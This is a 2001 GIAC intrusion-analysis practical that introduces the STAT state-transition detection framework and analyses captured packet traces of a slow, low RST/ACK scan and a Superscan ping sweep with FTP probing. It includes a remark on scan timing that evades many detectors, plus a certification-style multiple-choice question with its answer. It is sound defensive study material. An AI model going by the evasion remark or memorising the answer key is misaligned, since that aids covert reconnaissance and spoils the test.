Global Information Assurance Certification Paper

Intrusion Detection in Depth: GCIA Practical Assignment

Version 3.0

Michael McDonnell
November 27, 2001

Table of Contents

Assignment #1: Describe the State of Intrusion Detection

A Gentle Introduction to STAT: The State Transition Analysis Technique Project

The STAT Project

State Transition Analysis Technique (STAT) is a promising approach to intrusion detection that models intrusions as transitions between security states of a system. STAT has been under development as a project of the Reliable Software Group at the University of California at Santa Barbara over the past decade. To date the STAT project has produced a technique for identifying system penetrations, a language for representing attack scenarios, a framework for developing new intrusion detection systems using their technique, and several successful intrusion detection applications. This paper attempts to provide an introduction to the STAT technique, the STATL language, the STAT application development framework, and the IDS applications created with STAT. The STAT project also provides MetaSTAT[1], a system for building large-scale multi-node intrusion detection systems with a client/server model. However the description of MetaSTAT is beyond the scope of this paper and while it holds much promise and interest it will not be covered.

The STAT Technique

As the project's name implies, STAT takes a formal mathematical approach to intrusion detection. "The approach is called *state transition analysis* and is a method for representing the sequence of actions that an attacker performs to achieve a security violation"[2] Intrusions are modeled as a series of transitions between system security states. STAT describes intrusions in terms of *attack scenarios* where "states represent snapshots of a system's security related properties and resources"[3] and transitions are those signature actions without which the attack scenario could not succeed.

While many academic research projects have focused on anomaly detection, often employing statistical techniques (e.g. EMERALD [4]), STAT fits into the misuse detection category and uses signatures to identify attacks. "The detection tools are equipped with a number of attack descriptions. These descriptions (or "signatures") are matched against the stream of audit data looking for evidence that the modeled attack is occurring."[1] This makes STAT similar to Snort [5] or Shadow. However STAT's signatures can be much more abstract. STAT attack scenarios don't represent one single attack but can represent an entire category of attacks. For example rather than attempting to identify a priviledge elevation resulting from a specific buffer overflow of a specific Unix daemon, STAT could be used to model an entire category of privilege elevation attacks. "The STAT approach mitigates the disadvantages of plain signature-

based approaches by abstracting from the details of the modeled attacks. Actions are abstracted from the native form (either plain audit records or network packets) to a higher-level representation so that similar actions in a system that may have different low-level representations are mapped to a single action type."[3]

STATL: An Attack Representation Language

STATL is an extensible language for representing system misuse attempts. STATL supports the STAT technique of representing attack scenarios as the transitions between system security states resulting from the events of an attempted intrusion. By itself the STATL language is not capable of representing data from any specific system. "STATL defines the domain independent features of attack scenarios and also provides constructs for extending the language to describe attacks in a particular domains and environments."[6] For example, STATL does not come with features that could represent MS Windows NT ACLs or Unix filesystem ownership data but a developer could write STATL Language Extentions Modules that do.

The paper by Eckmann, Vigna, and Kemmerer released in 2000[6] gives an excellent overview of the classifications of attack description languages available today and describes how STATL was designed to be useful as a common detection language. To summarize, the authors believe that STATL is simple, expressive, rigorous, extensible, translatable, portable, and can describe attacks from heterogeneous systems.

The feature of translatability deserves some special attention. As STATL describes attacks with the state-transition model it would be difficult to use these "signatures" to compare directly with logfile entries or network packets, so it is important that the STATL representation of attacks be translated into forms that can be used for direct comparison. As used in the STAT application development framework, STATL attack scenarios are compiled into software shared libraries called *attack scenario plug-ins* (.so files on Unix and .DLL files on MS Windows). This approach is very practical as it would allow developers to distribute and share attack plug-ins easily and would allow STAT based IDS system to extend their capabilities by adding new plug-ins much in the same way that Snort is extended by adding textual attack signatures to a file[5].

The translation of STATL source to executable plug-ins is done by a Java application called the STAT parser[7].

A developer is free to write STATL files with a text editor, but the state transition model lends itself well to intuitive modeling with GUI tools. "One of the advantages of this approach is that state/transition specifications can be represented graphically by means of a state transition diagram (STD). Therefore even though STATL is primarily a text-based language, the STATL development environment includes a graphic editor that allows one to directly visualize the STD representing the attack scenario."[6] Currently

the STAT project provides an application, STATed[7], which allows the creation of attack scenarios through an GUI interface.

The STAT Framework

The STAT project has not just produced a language for representing attacks and a theoretical method for detecting them, it has also produced practical results.
"The STAT core-based architecture is a framework supporting ... the development of STAT-based intrusion detection systems..."[3] The STAT framework consists of the STATL parser, the STAT runtime core, the STATed editor, and xSTAT an extensible generic intrusion detection application[7].

STATed is an editor for attack scenarios. "The Scenario Editor provides a GUI with which a user constructs scenarios in graphical form. The editor produces as output STATL scenarios."[3] Whether the attack scenarios are generated by the GUI editor or written by hand, they must be translated into run-time executable code before they can be used by a STAT-based IDS application.

The STATL parser was described in the prior section titled "The STATL Language" and it is responsible for translating attack scenarios written in the STATL language into executable components called *attack scenario plug-ins*. These plug-ins are loaded at run-time and processed by the so-called STAT core. "The STAT core is created and customized by the application though an API. The STAT core component is connected to a number of scenario plugin components. Each scenario plugin component contains the executable representation of an attack scenario."[1]

The STAT core is software that can determine if an intrusion has taken place given input event data and attack scenario plug-ins. The STAT core itself knows nothing about specific intrusion detection problems. For example, the core doesn't know how to model buffer overflow attempts, or Unix system privileges, or parse network packets. Extensions to the STATL language allow for the representation of data relating to specific systems or problems. Attack scenario plug-ins written to the STAT core API provide functions that can process data relating to specific systems or problems. The STAT core provides an generic analytical engine that provides functions common to any intrusion detection problem and relies on the scenario plug-ins to deal with problems unique to specific systems.

The generic nature of the STAT core is what gives STAT its flexibility. A new intrusion detection system, for a specific type of attack, or operating system, or even for a single application can be written by writing extensions that use the STAT core's API. The quickest method of creating a STAT-based application however is to extend xSTAT.

xSTAT is a generic STAT-based application. "xSTAT can be extended with other

modules to create a complete STAT-based application without having to develop a single line of code."[7] In order to create a new STAT based intrusion detection system, a developer only needs to write a STATL Language Extension Module and an Event Provider. The language extensions allow xSTAT to model new scenarios of interest to the developer, and the custom event provider allows xSTAT to process input of interest to the developer.

XSTAT comes bundled with installation and configuration functions making it even easier to rapidly develop a STAT-based application.

Existing STAT-based Applications

Several practical applications have been built using the STAT tool suite. USTAT and WinSTAT are host-based IDS system: USTAT for Unix systems running Sun's Solaris and WinSTAT for Microsoft Windows systems. NetSTAT and NSTAT are network based IDS: NetSTAT monitors a single network whereas NSTAT is used to detect intrusions across many networks with multiple sensor nodes.

In 1998 early versions of USTAT and NetSTAT were tested as part of both the AFRL (Air Force Research Labortory) real time evaluation and as part of the MIT Lincoln Laboratory's off-line intrusion detection system evaluation[3]. USTAT, a host-based IDS designed for Unix systems running Sun Solaris, and NetSTAT, a network-based IDS, were tested and found to perform effectively and efficiently. The positive feedback and the data collected during testing resulted in a redesign of the STAT system that lead to the development of the framework previously described. STAT is now capable of being used to design many problem domain specific intrusion detection systems. USTAT and NetSTAT have both been rebuilt using the new *STAT core* and toolsuite and have been followed by WinSTAT and NSTAT.

In October 2001, the STAT group issued a call for beta testers for the STAT toolsuite. Some portions of the toolsuite still need to be completed, but the core is sufficiently evolved that both the STAT team and third-party IDS developers might benefit from additional experiments with the software. In addition to the application development framework, versions of the USTAT and NetSTAT applications are offered for download on the STAT Project website.

Conclusion

A definition of the STAT technique has been given along with a list of the features supported by the current STAT toolsuite. Some of the practical applications developed with STAT have been described together with some notion of what the potential that future applications might achieve.

While network and security analysts rightfully prefer products with effective ad-hoc designs like Snort or extensive features and proven results like ISS, the world of intrusion detection is so dynamic that they must always be looking forward to those technique that might be useful tomorrow.

More information about STAT can be obtained from the STAT Project homepage (http://www.cs.ucsb.edu/~rsg/STAT/), which contains a library of academic papers published over the last decade about the techniques and software that comprise STAT.

References

1)The STAT Team, “The MetaSTAT Infrastructure”, http://www.cs.ucsb.edu/~rsg/STAT/software/metastat/metastat.html
2)K. Ilgun, R.A. Kemmerer, and P.A. Porras, "State Transition Analysis: A Rule-Based Intrusion Detection Approach," IEEE Transaction on Software Engineering, 21(3), March 1995.
3)G. Vigna, S.T. Eckmann, and R.A. Kemmerer, "The STAT Tool Suite," in Proceedings of DISCEX 2000, Hilton Head, South Carolina, January 2000, IEEE Press.
4)John McHugh, Alan Christie, Julia Allen, “Defending Yourself: The Role of Intrusion Detection Systems”, IEEE Software, Vol. 17(5), pp. 42-51, September/October 2000
5)Martin Roesch, “Snort - Lightweight Intrusion Detection for Networks”, http://www.snort.org/docs/lisapaper.txt
6)S.T. Eckmann, G. Vigna, and R.A. Kemmerer, "STATL: An Attack Language for State-based Intrusion Detection," in Proceedings of the ACM Workshop on Intrusion Detection, Athens, Greece, November 2000.
7)The STAT Team, “STAT Software Download Page”, http://www.cs.ucsb.edu/~rsg/STAT/software/

Assignment 2: Network Detects

Network Detect #1: Slow and Low Scan

```
Jul 22 2001 20:46:27.858724 172.185.150.94.1 > MY.NET.186.126.32060: R 0:0(0) ack 3994891626 win 0
Jul 22 2001 20:46:27.858863 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.126 tcp port 32060 unreachable [tos 0xc0]
Jul 23 2001 05:33:11.856274 172.185.150.94.1 > MY.NET.186.113.20745: R 0:0(0) ack 1364015704 win 0
Jul 23 2001 05:33:11.856374 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.113 tcp port 20745 unreachable [tos 0xc0]
Jul 23 2001 13:44:51.149852 172.185.150.94.1 > MY.NET.186.107.7415: R 0:0(0) ack 2657788206 win 0
Jul 23 2001 13:44:54.146892 MY.NET.189.34 > 172.185.150.94: icmp: host MY.NET.186.107 unreachable [tos 0xc0]
Jul 23 2001 16:56:22.199658 172.185.150.94.1 > MY.NET.186.118.6892: R 0:0(0) ack 1427288706 win 0
Jul 23 2001 16:56:22.199767 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.118 tcp port 6892 unreachable [tos 0xc0]
Jul 23 2001 19:17:36.14394 172.185.150.94.1 > MY.NET.186.119.33345: R 0:0(0) ack 3913756952 win 0
Jul 23 2001 19:17:36.14488 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.119 tcp port 33345 unreachable [tos 0xc0]
Jul 23 2001 21:32:17.142463 172.185.150.94.1 > MY.NET.186.109.50706: R 0:0(0) ack 3530705933 win 0
Jul 23 2001 21:32:17.142603 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.109 tcp port 50706 unreachable [tos 0xc0]
Jul 24 2001 03:39:11.732406 172.185.150.94.1 > MY.NET.186.106.36086: R 0:0(0) ack 786118183 win 0
Jul 24 2001 08:01:04.939703 172.185.150.94.1 > MY.NET.186.127.4472: R 0:0(0) ack 2186891376 win 0
Jul 24 2001 08:08:03.47191 172.185.150.94.1 > MY.NET.186.101.38473: R 0:0(0) ack 2603614055 win 0
Jul 24 2001 08:08:03.47354 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.101 tcp port 38473 unreachable [tos 0xc0]
Jul 24 2001 08:35:50.200465 172.185.150.94.1 > MY.NET.186.101.48225: R 0:0(0) ack 3898489467 win 0
Jul 24 2001 08:35:50.200615 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.101 tcp port 48225 unreachable [tos 0xc0]
Jul 24 2001 15:18:11.850151 172.185.150.94.1 > MY.NET.186.106.50205: R 0:0(0) ack 3843865415 win 0
Jul 24 2001 21:44:18.383774 172.185.150.94.1 > MY.NET.186.109.10573: R 0:0(0) ack 2881490484 win 0
Jul 24 2001 21:44:18.383923 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.109 tcp port 10573 unreachable [tos 0xc0]
```

1.Source of Trace:

The trace was captured by a sensor placed outside of the network maintained by the author on behalf of a client. The sensor is in a position where it can monitor all ethernet traffic entering and leaving the network.

2.Detect was generated by:

The trace shown above was generated by tcpdump v3.4 running on a Linux (kernel 2.0.13) system. The timestamps have been altered to be easily readable. The sensor that captured this trace uses tcpdump to record all traffic it sees; it uses no filters. The trace was not caught by any filter rule, but rather it was found "by accident" while the author was exploring a week's worth of network traffic out of curiosity. The overall traffic on the network is low, and there is little possibility that the tcpdump sensor dropped packets.

3.Probability the source address was spoofed:

The attacker's IP is probably not spoofed. This appears to a reconnaissance attack, and spoofing would prevent receiving responses from the probed hosts.

4.Description of attack:

The attack has the following characteristics:

1.Single TCP packets arrive hours apart from each other

2. All packets appear to be from the same address
3. Packets have the **Reset** and Ack flags set but there is no three-way-handshake first
4. The attackers packets always originate from port 1 and are destined for random high-numbered ports
5. We cannot conclude anything from the sequence numbers since the packets arrive so far apart from each other
6. Our firewall responds to the attackers packets with "Port Unreachable" ICMP packets because it is configured to block access to all but a few ports on the network.

This is similar to the fingerprint of the "sscan" tool which commonly uses source port 1, however "sscan" behavior is different, scanning known services, not random ports. The "sscan" tool also attempts OS fingerprinting but with a variety of abnormal packets than just single "Reset" packets.

5.Attack mechanism:

This would appear to be a "slow and low" network scan. The attack works by sending a TCP "Reset" packet to a host. If the host is active and the firewall allows the packet through then it may respond with a packet of its own (another Reset packet or an ICMP packet). If the firewall blocks the packet it may respond with a "Port Unreachable" ICMP packet or with no respond at all depending on how it is configured. The attacker tries to avoid detection by sending packets hours apart from each other. Many NIDS will not detect this kind of scan, either because they don't look for scans with packets that arrive hours apart or that they don't analyze many days worth of data at once.

6.Correlation:

The CID database at http://www.incidents.org/cid/ shows that there were 810 recorded packets originating from 172.185.150.94 TCP Port 1 starting July 22, 2001 and ending July 26, 2001. A search for TCP packets with source port 1, with the Ack and Reset flags set yields 1497 similar scans during July and August 2001 (but none before or after) originating from a wide variety of addresses.

On July 25, 2001 Paul Gear, and on July 26, 2001, Kelly Kester reported seeing the same activity on networks which they monitor via the SecurityFocus Incidents List:

From: Paul Gear
[mailto:paulgear@bigfoot.com]
Sent: Wednesday, July 25, 2001 4:23 PM
To: SecurityFocus Incidents List
Subject: TCP probe on port 35540 from port 1

Anyone seen a probe like this lately?

Jul 23 11:45:53 ### kernel: Packet log: input DENY ppp0 PROTO=6 172.185.150.94:1 ###:35540 L=40 S=0x00 I=2815 F=0x0000 T=35 (#66)

This was the only packet of its type, and there didn't seem to be anything else happening at the time. The source address looks up to ACB9965E.ipt.aol.com. As there is no SYN flag, it seems this is from some sort of cracking/security tool, but i'm not sure what. The source port of tcpmux is curious.

Subject: RE: TCP probe on port 35540 from port 1
Date: Thu, 26 Jul 2001 11:52:45 -0500
From: "Kester, Kelly" <KesterK@scott.disa.mil>
To: 'Paul Gear' <paulgear@bigfoot.com>, SecurityFocus Incidents List <incidents@securityfocus.com>

Yep, I sure have from the exact IP with an RST-ACK flag for every entry. In fact, I have this activity from other AOL IPs and a Korean IP as well. All activity is from source port 1 with a high destination port, but not always the same. For example, a group of 15 entries might originate from port 1 and go to destination port 28333, whereas another group will still originate from port 1, but will go to destination port 48869. This activity is crossing over 4 days right now and towards numerous, non-associated destination IPs. I'm thinking a possible DoS or network mapping.
Anyone have any insight into this? I've been reading up on pulsing zombies, new DoS, Stacheldraht, shaft, etc., and cannot come up with an exact or best bet to the cause. Help if you can.....k2

However, no consensus was established from the reports shared on the "Incidents" mailing list.

7.Evidence of active targeting:

The attacker does not appear to be targeting a specific server or network. Based on correlation with the CIDs database the attacker appears to be scanning many networks, probably as an attempt to identify unprotected hosts in prelude to further attacks. Because the attacker's packets were destined for random high-numbered ports it would appear that the attacker is not looking for any specific service either. It is possible that the use of a Reset and Ack flags is an attempt at OS fingerprinting (by examining the type of response each host sends back). OS fingerprinting could be the prelude to an OS specific attack, or to further reconnaissance attempts. However the consistent use of the same malformed packet would not yield much information to the attacker unless they are looking for something very specific.

8.Severity:

(Criticality + Lethality) - (System+Network) = Severity
(4 + 2)-(4 + 4) = -2.

Criticality: **4**
Several of the servers contain highly confidential information protected by Freedom of Information Privacy Laws and must be protected. Additionally the firewall/router for the network was clearly identified by the attacker.

Lethality: 2
The attacker can only gain information about network geography with this attack.

System Countermeasures: 4
The servers on the network have current operating system patches and most are "hardened" against attack.

Network Countermeasures: 4
The firewall could have a stronger configuration (by not responding with "Port Unreachable" messages). However the firewall is restrictive and did successfully prevent the attacker from mapping the network.

9.Defensive recommendation:

The attacker can gain a great deal of information from this kind of attack even when the firewall blocks most ports. In this case the attacker is able to identify the IP address of the network's firewall because it responds with "Port Unreachable" ICMP packets. By reconfiguring the firewall to ***not respond*** with "Port Unreachable" messages, this kind of attack is unlikely to yield any helpful information to the attacker.

10.Multiple choice test question:

```
Jul 22 2001 20:46:27.858724 172.185.150.94.1 > MY.NET.186.126.32060: R 0:0(0) ack 3994891626 win 0
Jul 22 2001 20:46:27.858863 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.126 tcp port 32060 unreachable [tos 0xc0]
Jul 23 2001 05:33:11.856274 172.185.150.94.1 > MY.NET.186.113.20745: R 0:0(0) ack 1364015704 win 0
Jul 23 2001 05:33:11.856374 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.113 tcp port 20745 unreachable [tos 0xc0]
Jul 23 2001 13:44:51.149852 172.185.150.94.1 > MY.NET.186.107.7415: R 0:0(0) ack 2657788206 win 0
Jul 23 2001 13:44:54.146892 MY.NET.189.34 > 172.185.150.94: icmp: host MY.NET.186.107 unreachable [tos 0xc0]
Jul 23 2001 16:56:22.199658 172.185.150.94.1 > MY.NET.186.118.6892: R 0:0(0) ack 1427288706 win 0
Jul 23 2001 16:56:22.199767 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.118 tcp port 6892 unreachable [tos 0xc0]
Jul 23 2001 19:17:36.14394 172.185.150.94.1 > MY.NET.186.119.33345: R 0:0(0) ack 3913756952 win 0
Jul 23 2001 19:17:36.14488 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.119 tcp port 33345 unreachable [tos 0xc0]
Jul 23 2001 21:32:17.142463 172.185.150.94.1 > MY.NET.186.109.50706: R 0:0(0) ack 3530705933 win 0
Jul 23 2001 21:32:17.142603 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.109 tcp port 50706 unreachable [tos 0xc0]
Jul 24 2001 03:39:11.732406 172.185.150.94.1 > MY.NET.186.106.36086: R 0:0(0) ack 786118183 win 0
Jul 24 2001 08:01:04.939703 172.185.150.94.1 > MY.NET.186.127.4472: R 0:0(0) ack 2186891376 win 0
Jul 24 2001 08:08:03.47191 172.185.150.94.1 > MY.NET.186.101.38473: R 0:0(0) ack 2603614055 win 0
Jul 24 2001 08:08:03.47354 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.101 tcp port 38473 unreachable [tos 0xc0]
Jul 24 2001 08:35:50.200465 172.185.150.94.1 > MY.NET.186.101.48225: R 0:0(0) ack 3898489467 win 0
Jul 24 2001 08:35:50.200615 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.101 tcp port 48225 unreachable [tos 0xc0]
Jul 24 2001 15:18:11.850151 172.185.150.94.1 > MY.NET.186.106.50205: R 0:0(0) ack 3843865415 win 0
Jul 24 2001 21:44:18.383774 172.185.150.94.1 > MY.NET.186.109.10573: R 0:0(0) ack 2881490484 win 0
```

Jul 24 2001 21:44:18.383923 MY.NET.189.34 > 172.185.150.94: icmp: MY.NET.186.109 tcp port 10573 unreachable [tos 0xc0]

Assuming the sensor that gathered the trace above did not drop packets and all packets to and from the host 172.185.150.94 are shown, what type of attack is characterized by the trace above?
a)Smurf Attack
b)"Slow and Low" port scan
c)tcpmux buffer overflow
d)nmap "stealth" scan

b) is the correct answer

Network Detect #2: Successful "Superscan" Reconnaissance

Trace #1: snort alerts

[**] [1:474:1] ICMP superscan echo [**]
[Classification: Attempted Information Leak] [Priority: 3]
08/04-00:34:13.179726 213.1.109.127 -> MY.NET.186.96
ICMP TTL:104 TOS:0x0 ID:14159 IpLen:20 DgmLen:36
Type:8 Code:0 ID:2 Seq:38863 ECHO

...continues similarly for all IPs up to MY.NET.186.127...

[**] [1:474:1] ICMP superscan echo [**]
[Classification: Attempted Information Leak] [Priority: 3]
08/04-00:34:15.025275 213.1.109.127 -> MY.NET.186.127
ICMP TTL:104 TOS:0x0 ID:14190 IpLen:20 DgmLen:36
Type:8 Code:0 ID:2 Seq:38894 ECHO

Trace #2: tcpdump logs

Aug 04 2001 00:34:13.179726 213.1.109.127 > MY.NET.186.96: icmp: echo request
Aug 04 2001 00:34:13.179812 MY.NET.189.34 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.224674 213.1.109.127 > MY.NET.186.97: icmp: echo request
Aug 04 2001 00:34:13.224714 MY.NET.186.97 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.279466 213.1.109.127 > MY.NET.186.98: icmp: echo request
Aug 04 2001 00:34:13.325153 213.1.109.127 > MY.NET.186.99: icmp: echo request
Aug 04 2001 00:34:13.327128 MY.NET.186.99 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.380114 213.1.109.127 > MY.NET.186.100: icmp: echo request
Aug 04 2001 00:34:13.380873 MY.NET.186.100 > 213.1.109.127: icmp: echo reply (DF)
Aug 04 2001 00:34:13.524694 213.1.109.127 > MY.NET.186.101: icmp: echo request
Aug 04 2001 00:34:13.525136 MY.NET.186.101 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.589488 213.1.109.127 > MY.NET.186.102: icmp: echo request
Aug 04 2001 00:34:13.590132 MY.NET.186.102 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.674852 213.1.109.127 > MY.NET.186.103: icmp: echo request
Aug 04 2001 00:34:13.675494 MY.NET.186.103 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.729727 213.1.109.127 > MY.NET.186.104: icmp: echo request
Aug 04 2001 00:34:13.730372 MY.NET.186.104 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.784646 213.1.109.127 > MY.NET.186.105: icmp: echo request
Aug 04 2001 00:34:13.785287 MY.NET.186.105 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:13.829523 213.1.109.127 > MY.NET.186.106: icmp: echo request
Aug 04 2001 00:34:13.832434 MY.NET.186.106 > 213.1.109.127: icmp: echo reply (DF)
Aug 04 2001 00:34:13.924770 213.1.109.127 > MY.NET.186.107: icmp: echo request
Aug 04 2001 00:34:13.981082 213.1.109.127 > MY.NET.186.108: icmp: echo request
Aug 04 2001 00:34:14.36817 213.1.109.127 > MY.NET.186.109: icmp: echo request
Aug 04 2001 00:34:14.80581 213.1.109.127 > MY.NET.186.110: icmp: echo request
Aug 04 2001 00:34:14.175280 213.1.109.127 > MY.NET.186.111: icmp: echo request
Aug 04 2001 00:34:14.229833 213.1.109.127 > MY.NET.186.112: icmp: echo request
Aug 04 2001 00:34:14.274604 213.1.109.127 > MY.NET.186.113: icmp: echo request
Aug 04 2001 00:34:14.330934 213.1.109.127 > MY.NET.186.114: icmp: echo request
Aug 04 2001 00:34:14.374685 213.1.109.127 > MY.NET.186.115: icmp: echo request
Aug 04 2001 00:34:14.430598 213.1.109.127 > MY.NET.186.116: icmp: echo request
Aug 04 2001 00:34:14.475260 213.1.109.127 > MY.NET.186.117: icmp: echo request
Aug 04 2001 00:34:14.529470 213.1.109.127 > MY.NET.186.118: icmp: echo request
Aug 04 2001 00:34:14.637421 213.1.109.127 > MY.NET.186.119: icmp: echo request
Aug 04 2001 00:34:14.642546 213.1.109.127 > MY.NET.186.120: icmp: echo request
Aug 04 2001 00:34:14.724864 213.1.109.127 > MY.NET.186.121: icmp: echo request
Aug 04 2001 00:34:14.779682 213.1.109.127 > MY.NET.186.122: icmp: echo request
Aug 04 2001 00:34:14.779923 MY.NET.186.122 > 213.1.109.127: icmp: echo reply (DF)
Aug 04 2001 00:34:14.824887 213.1.109.127 > MY.NET.186.123: icmp: echo request
Aug 04 2001 00:34:14.825193 MY.NET.186.123 > 213.1.109.127: icmp: echo reply (DF)
Aug 04 2001 00:34:14.879990 213.1.109.127 > MY.NET.186.124: icmp: echo request
Aug 04 2001 00:34:14.880294 MY.NET.186.124 > 213.1.109.127: icmp: echo reply (DF)
Aug 04 2001 00:34:14.924818 213.1.109.127 > MY.NET.186.125: icmp: echo request
Aug 04 2001 00:34:14.925118 MY.NET.186.125 > 213.1.109.127: icmp: echo reply (DF)

Aug 04 2001 00:34:14.980388 213.1.109.127 > MY.NET.186.126: icmp: echo request
Aug 04 2001 00:34:14.980543 MY.NET.186.126 > 213.1.109.127: icmp: echo reply (DF)
Aug 04 2001 00:34:15.25275 213.1.109.127 > MY.NET.186.127: icmp: echo request
Aug 04 2001 00:34:15.25321 MY.NET.189.34 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:34:16.276888 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.98 unreachable [tos 0xc0]
Aug 04 2001 00:34:16.916851 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.107 unreachable [tos 0xc0]
Aug 04 2001 00:34:16.976875 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.108 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.36895 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.109 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.76866 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.110 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.166877 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.111 unreachable [tos 0xc0]
Aug 04 2001 00:34:17.326870 MY.NET.189.34 > 213.1.109.127: icmp: host MY.NET.186.114 unreachable [tos 0xc0]
Aug 04 2001 00:34:56.988096 213.1.109.127 > MY.NET.189.34: icmp: echo request
Aug 04 2001 00:34:56.988154 MY.NET.189.34 > 213.1.109.127: icmp: echo reply
Aug 04 2001 00:41:03.820477 213.1.109.127.4740 > MY.NET.186.96.21: S 2859334515:2859334515(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:03.915607 213.1.109.127.4741 > MY.NET.186.97.21: S 2859422772:2859422772(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:03.915664 MY.NET.186.97 > 213.1.109.127: icmp: MY.NET.186.97 tcp port 21 unreachable [tos 0xc0]
Aug 04 2001 00:41:04.105078 213.1.109.127.4742 > MY.NET.186.99.21: S 2859518853:2859518853(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.105186 MY.NET.189.34 > 213.1.109.127: icmp: MY.NET.186.99 tcp port 21 unreachable [tos 0xc0]
Aug 04 2001 00:41:04.210444 213.1.109.127.4743 > MY.NET.186.100.21: S 2859584536:2859584536(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.210614 MY.NET.189.34 > 213.1.109.127: icmp: MY.NET.186.100 tcp port 21 unreachable [tos 0xc0]
Aug 04 2001 00:41:04.305184 213.1.109.127.4744 > MY.NET.186.101.21: S 2859662300:2859662300(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.305580 MY.NET.186.101.21 > 213.1.109.127.4744: S 3895375608:3895375608(0) ack 2859662301 win 32696 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.420407 213.1.109.127.4745 > MY.NET.186.102.21: S 2859737583:2859737583(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.420509 MY.NET.189.34 > 213.1.109.127: icmp: MY.NET.186.102 tcp port 21 unreachable [tos 0xc0]
Aug 04 2001 00:41:04.575163 213.1.109.127.4746 > MY.NET.186.103.21: S 2859840849:2859840849(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.575825 MY.NET.186.103.21 > 213.1.109.127.4746: S 3904266524:3904266524(0) ack 2859840850 win 32696 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.615769 213.1.109.127.4744 > MY.NET.186.101.21: P 1:3(2) ack 1 win 9112 (DF)
Aug 04 2001 00:41:04.615847 213.1.109.127.4744 > MY.NET.186.101.21: . ack 1 win 9112 (DF)
Aug 04 2001 00:41:04.616166 MY.NET.186.101.21 > 213.1.109.127.4744: . ack 3 win 32696 (DF)
Aug 04 2001 00:41:04.616228 MY.NET.186.101.21 > 213.1.109.127.4744: . ack 3 win 32696 (DF)
Aug 04 2001 00:41:04.624627 MY.NET.186.101.2724 > 213.1.109.127.113: S 3889652249:3889652249(0) win 32120 <mss 1460,sackOK,timestamp 782496900[|tcp]> (DF)
Aug 04 2001 00:41:04.760597 213.1.109.127.4747 > MY.NET.186.104.21: S 2859953041:2859953041(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.760704 MY.NET.189.34 > 213.1.109.127: icmp: MY.NET.186.104 tcp port 21 unreachable [tos 0xc0]
Aug 04 2001 00:41:04.865945 213.1.109.127.4748 > MY.NET.186.105.21: S 2860033266:2860033266(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.866072 MY.NET.189.34 > 213.1.109.127: icmp: MY.NET.186.105 tcp port 21 unreachable [tos 0xc0]
Aug 04 2001 00:41:04.866481 213.1.109.127.4746 > MY.NET.186.103.21: . ack 1 win 9112 (DF)
Aug 04 2001 00:41:04.875468 MY.NET.186.103.2725 > 213.1.109.127.113: S 3899796388:3899796388(0) win 32120 <mss 1460,sackOK,timestamp 782496926[|tcp]> (DF)
Aug 04 2001 00:41:04.885198 213.1.109.127.4746 > MY.NET.186.103.21: P 1:3(2) ack 1 win 9112 (DF)
Aug 04 2001 00:41:04.885534 MY.NET.186.103.21 > 213.1.109.127.4746: . ack 3 win 32696 (DF)
Aug 04 2001 00:41:04.965764 213.1.109.127.113 > MY.NET.186.101.2724: R 0:0(0) ack 3889652250 win 0
Aug 04 2001 00:41:04.966584 MY.NET.186.101.21 > 213.1.109.127.4744: P 1:58(57) ack 3 win 32696 (DF)
Aug 04 2001 00:41:04.970652 213.1.109.127.4749 > MY.NET.186.106.21: S 2860105549:2860105549(0) win 8760 <mss 536,nop,nop,sackOK> (DF)
Aug 04 2001 00:41:04.974049 MY.NET.186.106.21 > 213.1.109.127.4749: S 2759135232:2759135232(0) ack 2860105550 win 17688 <mss 536> (DF)
Aug 04 2001 00:41:05.205520 213.1.109.127.113 > MY.NET.186.103.2725: R 0:0(0) ack 3899796389 win 0
Aug 04 2001 00:41:05.206183 MY.NET.186.103.21 > 213.1.109.127.4746: P 1:56(55) ack 3 win 32696 (DF)
